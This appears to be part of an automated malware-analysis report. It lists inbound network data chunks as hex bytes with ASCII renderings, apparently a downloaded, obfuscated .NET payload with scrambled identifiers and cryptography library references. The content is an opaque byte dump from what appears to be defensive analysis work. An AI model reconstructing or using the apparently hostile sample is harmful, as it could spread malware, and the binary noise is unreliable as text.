S4BjgCyqQITYqifcylwm6POeQMSiqf0uQ3UyzXtUd5v3GuJqj2bieVonlDcmFiXHaob9kQCcyktxKE5qLOJWqeHTiTCs8trpeZYTZ6Z6yQbDj9bFtg7MNVft9PMCJTu1isE3rLCJuWiq9C3FfrXA2ATtNTntKgnPmgmfEqualsGetHashCodeEnumeratorjF2icuIoajp1UiK6C41JiQnO3VtblgSkeUaWYdpvwaxF2tD
2021-12-28 04:19:03 UTC	126	IN	Data Raw: 5f 30 66 38 35 33 63 39 61 66 34 65 35 34 61 30 64 39 35 36 63 36 66 63 30 62 63 38 63 39 32 37 38 00 6d 5f 65 35 61 37 63 31 63 39 37 31 30 34 34 31 65 35 38 61 65 37 39 65 39 62 39 66 33 36 39 61 30 63 00 6d 5f 65 63 65 36 35 61 65 32 31 35 61 37 34 61 30 30 39 61 33 39 65 37 31 61 65 33 34 31 63 61 35 62 00 6d 5f 36 62 30 66 62 65 37 38 32 66 63 38 34 34 32 62 61 39 39 32 37 35 61 38 33 38 65 30 33 38 30 66 00 6d 5f 39 34 37 38 30 37 37 38 66 33 34 30 34 38 30 62 61 37 36 39 36 35 37 37 37 30 30 35 66 62 31 37 00 6d 5f 33 62 30 64 65 64 65 64 30 37 36 34 34 64 30 62 62 32 38 37 61 39 37 36 36 31 61 35 64 66 33 66 00 6d 5f 61 31 33 37 63 32 62 30 35 33 62 62 34 62 66 66 39 62 30 33 34 37 36 61 63 36 36 34 65 63 37 35 00 6d 5f 37 61 36 37 38 33 30 33 62 Data Ascii: _0f853c9af4e54a0d956c6fc0bc8c9278m_e5a7c1c9710441e58ae79e9b9f369a0cm_ece65ae215a74a009a39e71ae341ca5bm_6b0fbe782fc8442ba99275a838e0380fm_94780778f340480ba76965777005fb17m_3b0deded07644d0bb287a97661a5df3fm_a137c2b053bb4bff9b03476ac664ec75m_7a678303b
2021-12-28 04:19:03 UTC	129	IN	Data Raw: 58 37 50 72 4d 68 46 69 55 6c 00 42 57 62 72 4f 52 34 59 50 53 00 52 47 5a 72 36 4b 4c 76 49 4e 00 63 67 6b 72 70 48 44 30 50 62 00 48 6e 43 72 52 34 64 65 71 50 00 41 68 6e 72 37 70 46 58 56 6e 00 56 59 70 72 30 56 49 63 30 45 00 45 74 75 72 61 77 62 45 67 57 00 6d 47 34 72 59 4b 54 4c 5a 4d 00 44 5a 51 72 76 31 56 39 38 50 00 4f 6a 6e 72 6b 63 54 6b 35 52 00 4a 44 74 72 47 44 6a 4e 72 72 00 59 6b 67 72 46 46 63 41 74 38 00 4f 42 79 72 58 43 4e 51 6d 6e 00 64 62 59 72 42 64 44 4b 38 32 00 58 6e 53 72 51 58 4c 37 62 50 00 59 74 5a 72 45 74 50 56 62 64 00 4e 69 77 72 50 6d 67 33 47 69 00 61 4f 31 72 6f 74 4c 62 4c 77 00 55 71 42 72 6a 66 4a 63 64 31 00 76 6a 4a 72 39 6a 61 49 50 70 00 4c 37 48 72 6c 33 68 55 61 68 00 62 50 37 67 72 34 59 36 49 72 00 44 6a Data Ascii: X7PrMhFiUlBWbrOR4YPSRGZr6KLvINcgkrpHD0PbHnCrR4deqPAhnr7pFXVnVYpr0VIc0EEturawbEgWmG4rYKTLZMDZQrv1V98POjnrkcTk5RJDtrGDjNrrYkgrFFcAt8OByrXCNQmndbYrBdDK82XnSrQXL7bPYtZrEtPVbdNiwrPmg3GiaO1rotLbLwUqBrjfJcd1vjJr9jaIPpL7Hrl3hUahbP7gr4Y6IrDj
2021-12-28 04:19:03 UTC	133	IN	Data Raw: 00 4a 00 62 00 50 00 77 00 3d 00 3d 00 00 15 6a 00 75 00 52 00 56 00 68 00 6d 00 63 00 77 00 63 00 56 00 00 80 9d 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 43 00 6f 00 72 00 65 00 2c 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 3d 00 33 00 2e 00 35 00 2e 00 30 00 2e 00 30 00 2c 00 20 00 43 00 75 00 6c 00 74 00 75 00 72 00 65 00 3d 00 6e 00 65 00 75 00 74 00 72 00 61 00 6c 00 2c 00 20 00 50 00 75 00 62 00 6c 00 69 00 63 00 4b 00 65 00 79 00 54 00 6f 00 6b 00 65 00 6e 00 3d 00 62 00 37 00 37 00 61 00 35 00 63 00 35 00 36 00 31 00 39 00 33 00 34 00 65 00 30 00 38 00 39 00 00 6b 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 2e 00 43 00 72 00 79 00 70 00 74 00 6f 00 67 00 72 00 61 00 70 00 68 00 79 00 2e 00 41 Data Ascii: JbPw==juRVhmcwcVSystem.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089kSystem.Security.Cryptography.A
2021-12-28 04:19:03 UTC	137	IN	Data Raw: 1c 09 07 00 02 12 80 91 1c 02 07 00 02 12 80 91 0e 02 09 00 02 02 12 80 91 12 80 91 05 20 00 12 81 7d 05 20 00 12 81 59 05 00 02 02 1c 1c 05 20 00 12 81 85 04 00 01 08 1c 09 00 02 02 12 81 49 12 81 49 04 00 01 02 1c 05 00 02 1c 1c 1c 05 00 02 01 1c 0a 04 00 01 0a 1c 05 00 02 1c 1c 08 06 00 01 01 12 80 e9 06 00 03 01 1c 08 08 08 00 03 01 12 80 e9 08 08 06 20 00 1d 12 80 bd 06 00 01 18 12 80 bd 07 00 02 01 1c 11 81 89 06 20 01 01 11 81 89 06 00 03 1c 1c 1c 1c 09 20 02 12 80 a1 1d 05 1d 05 07 00 04 01 1c 1c 08 08 04 00 01 1c 08 05 00 01 1d 05 08 05 00 02 01 18 08 06 00 03 01 1c 1c 1c 04 00 01 08 0a 07 00 02 1c 18 12 80 91 04 00 01 0a 18 06 00 01 18 12 81 39 05 20 00 12 80 c5 09 00 02 02 12 80 c5 12 80 c5 07 00 02 1c 12 80 91 1c 06 00 01 11 81 5d 1c 05 20 00 Data Ascii: } Y II 9 ]
2021-12-28 04:19:03 UTC	142	IN	Data Raw: 0b 00 02 12 80 91 12 80 91 12 82 90 04 06 12 82 94 07 20 02 1c 12 80 91 08 0a 00 03 1c 12 80 91 08 12 82 94 04 06 12 82 98 07 20 02 1c 12 80 91 09 0a 00 03 1c 12 80 91 09 12 82 98 04 06 12 82 9c 07 20 02 1c 12 80 91 06 0a 00 03 1c 12 80 91 06 12 82 9c 04 06 12 82 a0 07 20 02 1c 12 80 91 07 0a 00 03 1c 12 80 91 07 12 82 a0 04 06 12 82 a4 07 20 02 1c 12 80 91 05 0a 00 03 1c 12 80 91 05 12 82 a4 04 06 12 82 a8 07 20 02 1c 12 80 91 04 0a 00 03 1c 12 80 91 04 12 82 a8 04 06 12 82 ac 07 20 02 1c 12 80 91 0a 0a 00 03 1c 12 80 91 0a 12 82 ac 04 06 12 82 b0 07 20 02 1c 12 80 91 0b 0a 00 03 1c 12 80 91 0b 12 82 b0 04 06 12 82 b4 06 00 01 08 12 82 b4 04 06 12 82 b8 05 20 01 0e 10 08 08 00 02 0e 10 08 12 82 b8 04 06 12 82 bc 05 20 01 0e 10 09 08 00 02 0e 10 09 12 82 Data Ascii:
2021-12-28 04:19:03 UTC	146	IN	Data Raw: 93 92 7a fd 47 87 30 1b 7e b1 7e 33 84 a7 45 f9 39 39 48 fa 9e b3 e8 c6 e8 2c 66 84 ff d8 c4 7d c2 c9 04 5a 60 79 e5 4b 9e 2d 67 ee 5d 21 f1 8e b4 f5 02 e1 20 9d 72 fb d4 77 b7 a7 35 24 f4 01 aa de 1c 9c d5 4a d6 bd 8f f5 c2 29 68 08 1f 93 24 61 fe 88 0c a3 2a 77 d5 aa 00 a6 05 75 52 c1 4c b7 4c 4d ff c5 8e ac 8a 2f 4b 73 8e 73 fe 07 ea 52 e4 bf 59 6f 5a 92 a9 d7 b5 63 cd 89 e7 59 77 d8 6c 68 7d 77 c3 52 c2 02 de 24 bc 35 35 80 cf a4 e1 c3 ff 20 ff fb a8 b0 85 47 e4 60 0b 43 9d 8d bd 76 a3 43 68 9e ae 57 92 f7 ad b9 e2 14 70 17 aa 5b ae 00 97 25 db 22 b2 fd 06 08 6c b8 57 04 15 88 53 df 23 77 cb ad e3 a2 12 8c c0 ba fd a6 90 0e cb 32 67 c7 6c 44 41 a0 a2 26 32 0a 44 94 27 7a 48 2a 7c eb 0a 04 93 89 25 22 94 d5 2b 2b 66 e6 f7 79 54 c1 7a 95 96 81 06 5b ac Data Ascii: zG0~~3E99H,f}Z`yK-g]! rw5$J)h$awuRLLM/KssRYoZcYwlh}wR$55 G`CvChWp[%"lWS#w2glDA&2D'zH\|%"++fyTz[
2021-12-28 04:19:03 UTC	150	IN	Data Raw: 1f 1f c8 7a 1d 29 07 9a 40 2c a6 5b 8b 3b 38 7f 42 a3 a8 8d e6 1a 5a b1 6e e2 41 da 2c 24 ac 0f bf ac 0b cf 68 f9 88 52 76 2c 56 8c 97 47 f2 bd 6d 69 42 a1 e5 55 9e c4 79 58 21 69 55 3c d5 57 10 ad 43 f1 08 37 60 6c 07 e3 05 0e 8d 12 3a 6f b1 6a 99 a2 ed d3 00 a2 ba a9 65 89 77 c5 eb 35 26 9e 3a 01 00 92 c8 fb db ec c8 26 85 c4 26 21 b3 c9 c9 8c fb 2e 05 f6 77 42 3a 86 60 4c c2 97 7c 63 15 3d 05 16 1c ea f7 51 d3 f7 66 f7 70 20 17 98 e3 62 76 98 48 05 c7 b2 76 ef 39 69 2b bb 59 52 41 db d1 34 df 3d 2e 17 4b 01 c2 de ca 41 7f 40 3e 2c 91 23 2e c0 a2 42 52 10 c1 00 86 17 81 f5 e6 71 25 b5 30 03 f1 0d a8 ed 51 87 1b 4a a5 cc 52 de 74 9a 34 8a d7 79 bd 3d 88 b3 d6 ac 8e f6 6a 52 07 1b 02 97 ec bb c5 80 49 ba 54 c1 08 2b 63 61 b8 4e d1 36 a6 c1 d5 88 be 61 25 Data Ascii: z)@,[;8BZnA,$hRv,VGmiBUyX!iU<WC7`l:ojew5&:&&!.wB:`L\|c=Qfp bvHv9i+YRA4=.KA@>,#.BRq%0QJRt4y=jRIT+caN6a%
2021-12-28 04:19:03 UTC	154	IN	Data Raw: ae c7 ac 65 7b 71 3e df c7 01 71 5b f3 e0 04 95 b6 6b 11 38 2e 80 cc 26 18 1e 9f 35 bf e5 4b 46 21 45 49 c1 34 58 c4 0d 0e b3 7f 50 b8 fa ad aa 3b 41 9b c8 b3 c2 a2 ac 02 e0 16 ea 88 0e 69 71 1f 32 15 b5 66 e1 c4 52 c3 40 9b b9 11 69 ec 90 e5 79 6c 7e 15 13 61 b3 cd 22 9d a4 28 4f 5d 77 2e a5 3a db ef 70 57 4e 32 34 ab 33 6a 98 45 8b c7 e2 69 91 65 f0 0c 56 ca 40 e3 1b b3 f5 eb 9a 9a 8a 6e 1f b9 d6 cc f1 98 3c 5d c9 06 67 9c 9e d7 ef 3e 48 9f da ce 61 3b df 30 21 4e 46 25 3e b7 3d 19 ab 5b 72 39 f4 55 04 7e 41 19 bf 0c 6d a7 49 a3 b6 27 28 f2 f1 a2 27 f5 92 e9 df 4e 7a 63 5d d1 74 fd e7 e0 28 8a 91 5a 05 9f f1 e3 7d 9d 64 09 4f c8 1c a9 be 3b 9b a1 9a 0b d3 aa bf e2 e8 71 1b 82 ed f1 6e 65 ad 6a c2 56 c0 71 ec fa 1b 85 04 ee 8d f9 bc 4a 96 86 1a b7 c8 9b Data Ascii: e{q>q[k8.&5KF!EI4XP;Aiq2fR@iyl~a"(O]w.:pWN243jEieV@n<]g>Ha;0!NF%>=[r9U~AmI'('Nzc]t(Z}dO;qnejVqJ
2021-12-28 04:19:03 UTC	158	IN	Data Raw: 53 0c 73 75 8c 48 eb 1b af ae e2 de 28 53 ca fd ca 03 5b 25 21 23 6f 48 8e 1b 84 fb 76 68 37 cc cb da 10 eb b8 44 f8 3e ff 9f 15 36 4e 32 7d 90 d1 74 60 14 df 6a 7d ce c9 fb ab 8c a2 03 c4 9a 7d 3e 9f bd 18 8d 1d b8 7d da 5b 16 b5 1c 78 38 3a 0e 33 35 7c df 86 38 19 f8 f7 d2 8b 81 4b 35 e0 2d 2c 80 5b 04 e1 80 46 63 07 08 46 16 73 5e 6f 93 90 b6 65 b6 58 01 bd ec f4 49 0f e8 22 65 36 32 54 c1 99 f8 f4 70 a0 88 30 83 84 8a d3 50 20 80 8a a7 6d 0f 73 6b a3 49 27 e4 2b 14 b3 3f 40 20 9a fb 06 cd 4b 47 a6 c0 99 08 1f a0 f7 c9 ba f1 30 02 7a 8d 89 2c 0f a7 3f 74 e1 b3 e8 6b 7d be 50 ca 9e 0e e6 de df 94 4a 4c b9 d1 87 41 aa 71 2d 88 b1 d4 99 44 c1 fb c8 9b e4 2f b5 43 7a 9d 77 18 b4 de 41 e1 64 92 f6 cd e9 fa b3 eb 6a 95 54 c3 b8 9d 03 27 31 e4 4c cb 92 e2 0e Data Ascii: SsuH(S[%!#oHvh7D>6N2}t`j}}>}[x8:35\|8K5-,[FcFs^oeXI"e62Tp0P mskI'+?@ KG0z,?tk}PJLAq-D/CzwAdjT'1L
2021-12-28 04:19:03 UTC	161	IN	Data Raw: 56 60 73 7c dd 1f 52 04 b1 4b 01 40 5e 9a 55 aa ff 85 99 af c6 94 61 dc 2a ce 36 af cb 6d c1 06 5c 9f 11 38 a7 ac 15 42 3b f7 7b 2a 8a c3 19 3d 67 50 07 d6 55 25 b1 8e 33 51 ea a3 65 6e ef cb c4 3a d2 d1 93 54 e8 4f 41 fe 12 7a cf 17 e5 b5 59 c5 76 5f 26 91 1c db df 28 ee e2 a0 33 c0 b5 f2 72 15 90 81 a0 df ff 44 39 fc df 31 24 4a e6 60 c4 0f 40 71 ba 89 09 6c 82 05 41 d3 99 05 97 54 85 46 80 df fb 5c 71 05 e8 0d db ab dd 98 e7 59 d9 0a b0 61 34 06 33 f9 df 99 42 e1 d4 cc 87 5d fa f8 01 4b aa db 1f b6 85 e1 57 f2 76 1c 47 d8 fc 44 9b 3b 66 8c dd 4c 9d c3 60 f5 2a 8e d0 79 61 0d 27 2c 77 45 44 c9 a6 5f 3f 7f d4 01 a0 1e e6 99 00 db b8 db b8 df a1 9a 6a cc 5d 3f 5c fc 13 68 82 12 b3 7f e7 dd 4a ef 24 c5 24 fe 38 86 36 37 99 95 30 e8 38 e2 ca 85 4b a6 fd cd Data Ascii: V`s\|RK@^Ua6m\8B;{=gPU%3Qen:TOAzYv_&(3rD91$J`@qlATF\qYa43B]KWvGD;fL`*ya',wED_?j]?\hJ$$86708K
2021-12-28 04:19:03 UTC	165	IN	Data Raw: 19 59 6c da 06 c6 16 0f 9b c2 af ce 33 7f 7b 78 e7 63 f8 3b 3e 60 b0 3f 2a 33 5a 67 4f 8f 4e 37 e6 cd b2 1e df 08 a6 b2 c0 59 f6 0d ba f9 ca 24 09 af 65 20 30 b8 a0 80 e8 fb 0d 97 53 67 7b 18 a9 f9 26 3e 3b d0 ab 5b 94 16 15 7b 06 1c 52 9e f3 20 f0 6f 84 1a 94 19 75 a1 f9 c4 8a eb 39 0c 5e 59 ac 8a 73 1b 9f 8d 89 cd 68 5d be 9c e1 b5 fa fa 73 9e 64 2e 73 77 78 ed 11 62 3f 24 f6 a7 e8 f3 5c 7f 6d 9f 0d 37 53 1a b9 e8 20 92 62 70 14 19 b0 08 e8 13 7b 63 25 a4 8e 19 70 8f 05 58 04 a7 f3 ef 26 05 26 ad 33 a7 15 f9 94 ae be 8f 81 bf 57 8d c5 6d cb fc 7c 8c 0e ab 26 af b0 5b 0c 64 94 1b e1 d1 be b0 d2 67 4a 65 f1 f3 03 d5 54 ee d3 76 25 e4 6f d4 1a bb c5 e2 5a f2 99 69 35 87 82 42 08 e2 48 8b 8a fe 8c 0f 56 6e e3 16 db 46 e6 1e d1 7a 2c 37 76 8a 2e a3 3e 17 46 Data Ascii: Yl3{xc;>`?*3ZgON7Y$e 0Sg{&>;[{R ou9^Ysh]sd.swxb?$\m7S bp{c%pX&&3Wm\|&[dgJeTv%oZi5BHVnFz,7v.>F
2021-12-28 04:19:03 UTC	169	IN	Data Raw: b6 60 01 c4 c0 a4 f8 c2 07 0d d2 e5 8d 86 c4 eb 7a 17 c8 62 a6 aa 55 86 e7 d9 4a 2e a7 fc fc 77 86 f0 6b cb 05 5c da 82 f2 69 4d bd eb 87 ea 8f 08 63 dc cd 7e 39 c8 ec 05 9b 71 32 1a fb 05 53 2e 96 9c e3 85 af ef e5 25 b3 a4 4f 34 0d 81 34 77 58 1c 19 36 85 45 aa 14 b4 81 af 74 7f ed 43 1e 93 80 ee df 18 01 fe 64 0f 01 f8 07 0a a8 48 13 6f f7 66 50 9e 3c a7 66 9a bb 7b b9 c6 b7 96 c2 b8 d1 8b 9a 78 f0 3b 40 4b 58 3e 15 4d e0 8d 58 e0 e3 90 af a2 f3 08 5c cc 13 34 d9 96 08 e6 fe 87 2c b7 e4 f7 89 b8 28 8b 30 37 92 c1 23 f4 41 6d 24 c0 11 ca 7f 44 54 94 9e 97 fb 15 4f df 42 d6 73 2b c0 f0 1d 45 4b 46 45 1d ae 25 7c f4 35 65 79 bf da 64 99 ff 90 62 99 77 6a 1f 50 7c cd e3 8e 4e 5e 65 67 94 d4 90 1a e5 4b 95 cd f3 b9 a2 2d e9 9a 4f 96 4d d7 e9 63 7e f8 ee 27 Data Ascii: `zbUJ.wk\iMc~9q2S.%O44wX6EtCdHofP<f{x;@KX>MX\4,(07#Am$DTOBs+EKFE%\|5eydbwjP\|N^egK-OMc~'
2021-12-28 04:19:03 UTC	174	IN	Data Raw: ca 38 46 96 03 ac dd c6 ba f0 6f f7 ac ca 80 1c d6 5d dd ea 75 68 cc ba a9 90 f9 19 2e 16 69 c8 84 4f 6d b0 5a 5d b1 7c f3 6f cb 89 a0 bc 36 74 9d ac a4 b7 c4 4f 2c a1 81 be 1e de d6 d5 40 22 73 e8 65 c8 92 f3 1b 6e f0 de 19 ad ec 7d ce 30 56 da 13 8c ac 25 9f 91 98 d2 63 15 ab d9 61 38 c5 f7 88 bb a8 04 11 f5 5b e1 da a8 6f 7d 88 a8 33 a7 ce ed f1 9c dd 63 e7 87 80 9b 34 ee 04 7e fd 50 d8 37 97 71 cc ba fe ec 00 d6 25 ac 70 e5 0b db 33 ab 61 88 d6 12 4b 7a bc 67 5f 52 5a 05 fb 7f b6 b0 4c d5 e6 58 50 13 47 67 36 8f 5d bd bb 74 45 1f 31 b3 10 f9 4a af 05 82 43 fd 63 2c 3c 7c 69 4e 6c 3b 5c 6c 9c 3b 97 53 b1 9f 1e 80 25 46 7f fb 49 f6 09 e5 65 4f 17 bc 11 2d d0 1e eb f3 0c 7f 78 bb ba e4 50 ba a8 f2 ae 45 e0 c5 3b 19 37 fa fc a4 42 d9 79 8b e7 1b 2d e6 6a Data Ascii: 8Fo]uh.iOmZ]\|o6tO,@"sen}0V%ca8[o}3c4~P7q%p3aKzg_RZLXPGg6]tE1JCc,<\|iNl;\l;S%FIeO-xPE;7By-j
2021-12-28 04:19:03 UTC	178	IN	Data Raw: 79 89 7e 68 a2 de 84 26 2c b7 e2 24 4f 1f 4b e1 b7 92 58 58 04 4e 77 86 0b 06 d6 1c e5 55 70 be 3d 18 bd 43 b0 6d 39 5d 4f c4 6e ad d7 bb 86 5e b1 e0 cf f5 f0 1f 21 6b e6 c3 6b 35 62 8a 0e d9 51 f8 e0 cd f3 56 a4 09 1d 93 32 2c 01 fb b9 03 35 f0 fb 32 e9 68 7d c6 83 69 e2 7c 85 b2 c0 d6 72 4a 48 cb b4 47 07 53 c7 b4 bc 71 43 db 48 e5 4c 15 c1 51 c1 4c 62 a8 e4 fd 61 89 e5 47 f6 5b 11 ab ba 28 e2 6a ff 93 a7 41 e7 0e 89 42 dd 8d 1e 2b 78 95 07 76 8b a2 2a 22 3e af d0 fc 35 74 8a b1 fe 0b 64 32 f4 12 5a 07 b5 a9 31 b1 cc 44 c4 0c 24 1c 23 10 41 90 5f a3 98 89 0f a3 3e 91 c4 15 9a 56 c1 bc 41 bd df 5f d3 40 09 b2 f1 5a 7d 3b 43 08 e9 73 56 bf c7 18 8d 6d 0a 7e 3a a7 0a 2e e8 10 3a 9c 42 ba d8 db e8 83 a3 85 9e 27 0b f5 9b 7b 8b 03 fa 2a 58 64 00 a9 67 e3 83 Data Ascii: y~h&,$OKXXNwUp=Cm9]On^!kk5bQV2,52h}i\|rJHGSqCHLQLbaG[(jAB+xv">5td2Z1D$#A_>VA_@Z};CsVm~:.:B'{Xdg
2021-12-28 04:19:03 UTC	182	IN	Data Raw: ae 1d b1 1a f2 45 22 cb ff 56 6d ce 93 45 0f 44 14 21 fb 29 c4 df 7b 0f fd 92 ae 42 46 7b 12 2a d5 95 7b d3 f9 7d bc eb b3 ae 36 1d 7b c1 6c 5f 69 a2 e4 4a dc 07 86 09 a9 55 73 df 84 09 fc ba a5 24 cd 73 75 4c 8d 86 ac ea 0b 47 7a b9 a6 e0 70 41 bd f5 c8 5b f6 3a 26 67 7d ed 5a 72 0b d0 fb 2e 65 ca 66 1e aa f0 71 d4 ab b9 21 ad 80 e2 06 da 22 02 23 54 41 8e 17 a4 01 96 05 18 59 a5 51 56 ca 46 81 8d f9 02 02 84 17 09 c4 67 7c f4 1a ae a3 a9 30 59 20 63 05 a9 a6 e0 36 cc d9 6c d2 22 2e 1b 22 a0 bb cb 0d 9d 95 cc 27 61 c7 31 ea ad e9 f7 8f fb 74 57 8c cb ca 86 47 21 3e cc fb 29 d6 2a bf db 29 0d 03 1a f7 3c cd 71 7e 7b 22 22 15 fa ae 2a 45 5e 36 25 62 48 f7 dd 4f 58 13 d0 c5 bd 48 af 13 dd bb b4 e8 8f 17 4b c8 94 b7 cf 7f 12 85 62 d0 0f 19 28 33 9e 02 24 ac Data Ascii: E"VmED!){BF{{}6{l_iJUs$suLGzpA[:&g}Zr.efq!"#TAYQVFg\|0Y c6l"."'a1tWG!>))<q~{""*E^6%bHOXHKb(3$
2021-12-28 04:19:03 UTC	186	IN	Data Raw: dd 04 6e e0 9c be 51 26 de ed 6f b1 1e b3 98 94 fa 5e 75 dd 4c 54 68 51 0f 2c ec 75 82 3c 52 3b 53 a6 20 48 8c 85 08 4e db c9 d8 36 3d 8f 7a 41 ce 8b f5 a1 b3 b7 5c 55 ee 8d ce 8c 42 5e 32 f6 73 73 cd d6 28 19 8a cb 91 9e 9a 22 af 48 cd 39 47 e3 c6 49 25 54 f2 7f 36 75 3f 67 d1 6f 62 f5 14 5a f9 52 cf f8 99 1d 9c f3 cb e3 b1 c9 af ab 90 a7 4e e9 68 54 db 2a aa ee 97 82 de fd 28 17 70 12 4a aa 2c 28 f1 48 58 5a 8b 24 e5 e2 48 fc c6 7c 9e fd 91 3f 97 fc 08 ec 1c 31 57 72 23 61 bd 60 e1 f7 61 43 12 a6 6e 0e 41 a2 58 58 b3 b7 2f 6e 2f 04 e0 07 40 24 a7 8e f9 79 d9 7b 46 d9 5f ac 3f 29 ef dc 62 e4 8d d2 fe 7a f2 cc e4 67 92 16 fd ac e6 42 d2 07 6b 98 5f a6 6d 6f 0f 5d f3 f2 b1 1d 42 9f 71 e4 5f 1b 29 01 9b 0d 06 be c0 57 c2 9e 40 e6 d3 bd 21 26 f0 d4 d6 02 21 Data Ascii: nQ&o^uLThQ,u<R;S HN6=zA\UB^2ss("H9GI%T6u?gobZRNhT*(pJ,(HXZ$H\|?1Wr#a`aCnAXX/n/@$y{F_?)bzgBk_mo]Bq_)W@!&!
2021-12-28 04:19:03 UTC	190	IN	Data Raw: 1f 5e e9 8e 49 01 84 0e cc 7a f8 62 64 a7 02 0a c7 7d 41 d5 f8 a6 7d 95 66 65 23 59 a9 15 ec 09 b1 a6 d1 89 c9 c2 7a db e9 69 af b4 cb b3 e4 5a 6c a8 80 5a 98 aa 8f a8 27 21 f7 fc a7 c1 2a c7 ff ad b9 6a 6d 67 ed 57 cc 81 32 65 d9 0b c0 6b 28 a1 a3 b2 0f 5e 38 70 a4 f7 f5 41 72 c3 36 64 f8 16 ef fb a2 eb 7d 84 bc c6 82 24 d9 8b c2 25 33 0e ca fb 94 bf 0a f5 ca ad 60 82 24 32 0a 05 92 30 02 81 fb d4 f5 09 9d 93 7f 15 22 ce 79 b3 7d ef a9 43 3b 3f 42 1c 2a d8 a8 6c 91 e8 8d a1 ec 32 29 42 62 57 96 89 b7 a0 b2 ee ea d8 c8 17 02 cc b8 53 4e 8f b8 e1 32 ad c8 fe 52 11 41 e9 b3 91 ea d1 50 85 5c 7a 32 88 91 6e 74 60 bd 78 b7 4b 5f 5e 9a 5c e2 41 44 c1 30 28 52 7c 7e 0f 08 88 4e 2a 95 0a 17 b9 38 45 87 f7 0f 48 06 43 bc 30 e4 4b 75 cc d5 54 52 b6 94 66 10 58 f5 Data Ascii: ^Izbd}A}fe#YziZlZ'!jmgW2ek(^8pAr6d}$%3`$20"y}C;?Bl2)BbWSN2RAP\z2nt`xK_^\AD0(R\|~N*8EHC0KuTRfX
2021-12-28 04:19:03 UTC	193	IN	Data Raw: 4b 33 7c 1c d6 2c ec d3 20 69 42 c5 ac a4 a4 72 eb 9e 29 75 16 f8 2c 61 c5 82 05 3f 02 c5 f7 a1 01 23 84 a1 40 20 bb 04 30 c4 18 cd ba 66 12 eb 75 d5 2c 09 e8 73 1b 5f 17 65 7f cc ad dc 52 a9 50 02 e2 06 c8 84 dd 0d be ea 4c 4b c6 a6 b9 0e a5 42 fe 31 89 5a 29 51 70 00 5e 70 45 51 33 bb 77 17 78 2a c4 0a cd ce 8b 6e a3 58 37 ed 97 0a e9 23 e4 ae 30 bf d8 34 f5 fb 0d 91 a0 67 6e b9 08 5e 53 d5 35 00 ac 9e 69 31 73 87 28 af af 97 0b 04 54 b3 45 86 4b e9 c7 47 ec f8 d0 cd d2 bd 99 04 11 83 55 da db b8 7b a7 bd 78 f4 be 7f b2 7a 98 97 dd 6f 75 33 50 ac b8 72 99 3a d2 87 aa cd 46 2b 1f 00 75 fc 6a ac 93 40 bb ad 7c 99 34 9f 0b 4d 8a 2c c8 a1 b5 5b b9 f6 dc 4d 58 c1 83 24 a1 7b a4 61 69 38 cc 0b ee 41 14 53 3f 5a fd 6d 11 28 61 e1 9b 6f 6c f5 64 19 ae 31 24 67 Data Ascii: K3\|, iBr)u,a?#@ 0fu,s_eRPLKB1Z)Qp^pEQ3wx*nX7#04gn^S5i1s(TEKGU{xzou3Pr:F+uj@\|4M,[MX${ai8AS?Zm(aold1$g
2021-12-28 04:19:03 UTC	197	IN	Data Raw: 21 ce 15 6b 30 94 87 91 9b 18 a8 eb 11 6d 5b ac 12 45 a1 dd 3a c4 d4 86 1a bb 1c 8e d6 9a 8b 72 96 bf 35 4c 33 a3 f8 a7 26 c6 f6 70 55 93 39 b5 33 c9 15 76 8b ed 0c d2 a4 7a de a9 12 02 4e 00 f5 be 57 bb f8 00 74 3f d3 e8 5c 11 67 41 6d c9 e6 c9 22 75 4e f8 5c 13 b9 7b c4 ec 67 de cf 1d 40 a7 5c 0b c6 87 82 d7 93 f4 21 ca 01 86 82 95 81 fc c1 99 30 5a 75 b7 50 d7 fc a1 3a f7 ee c3 35 e7 ee 48 da bc 66 f4 30 fd 29 4a 7d 9b dd 0d 6f a1 32 c4 53 eb 7d f4 33 61 43 7b 5a f6 97 ee 38 11 7f 28 7e d8 8c 41 30 8a 06 cd 49 2e 37 d8 49 3c 9e cd dc dc a3 3d 47 bd 34 16 1b ee b8 02 66 4c 9d 6b b0 5e 22 94 3a bb b1 67 16 44 43 7c 6a d9 ee 95 bd d8 e7 d6 23 25 e4 b1 2f 86 89 ee da d3 33 07 49 9d 8c 83 52 22 6d 5a 9b 50 d8 82 8b 2c ba 14 60 2a 5e 11 09 63 81 cf 32 f4 7a Data Ascii: !k0m[E:r5L3&pU93vzNWt?\gAm"uN\{g@\!0ZuP:5Hf0)J}o2S}3aC{Z8(~A0I.7I<=G4fLk^":gDC\|j#%/3IR"mZP,`*^c2z
2021-12-28 04:19:03 UTC	201	IN	Data Raw: 77 4c c2 28 6d a5 f1 6a 7f 1e 2f 45 94 ba 8d 67 91 07 3a e2 07 d2 a6 3d 8e 51 da 4e 6b b5 ee 91 b7 fc 54 b5 19 fd 05 88 27 cb 46 bf 0d e8 6b a7 15 57 bf 14 cd 80 f7 5f 82 00 7e 92 06 72 0f ca b3 12 7f 9f ee e4 09 81 9f fe 4b 79 e6 c4 c4 52 51 56 56 16 72 cc ac c3 3e bf e1 61 41 9e cd 6b 37 33 73 01 f5 1d 9c ce 66 6d 0b 05 50 76 1e d2 1f 70 2b 24 40 51 35 33 de 45 7b 7b 01 c8 d5 e0 d6 68 54 3b 59 87 33 50 65 38 10 9f 87 a4 cb 94 80 09 07 68 1d 7d 0c f2 22 96 34 7c 30 94 f4 cd 45 d4 c8 25 88 29 60 d8 84 9d a1 0e d2 8b e3 ca 93 d3 16 29 a7 7d 3e 58 8e 65 e6 f7 0b a3 66 48 f0 47 52 50 11 b3 ee 05 2b a7 fe 0b f2 d6 89 43 ce 2f e0 6b 01 cf 3f 59 d1 3f a8 eb 82 cf 7b 7e 76 d6 70 f7 53 93 2d 03 0c 9f 50 4e e4 8d c2 44 76 e9 ab 94 09 5b 24 4c 11 e9 2e 0b 59 e1 10 Data Ascii: wL(mj/Eg:=QNkT'FkW_~rKyRQVVr>aAk73sfmPvp+$@Q53E{{hT;Y3Pe8h}"4\|0E%)`)}>XefHGRP+C/k?Y?{~vpS-PNDv[$L.Y
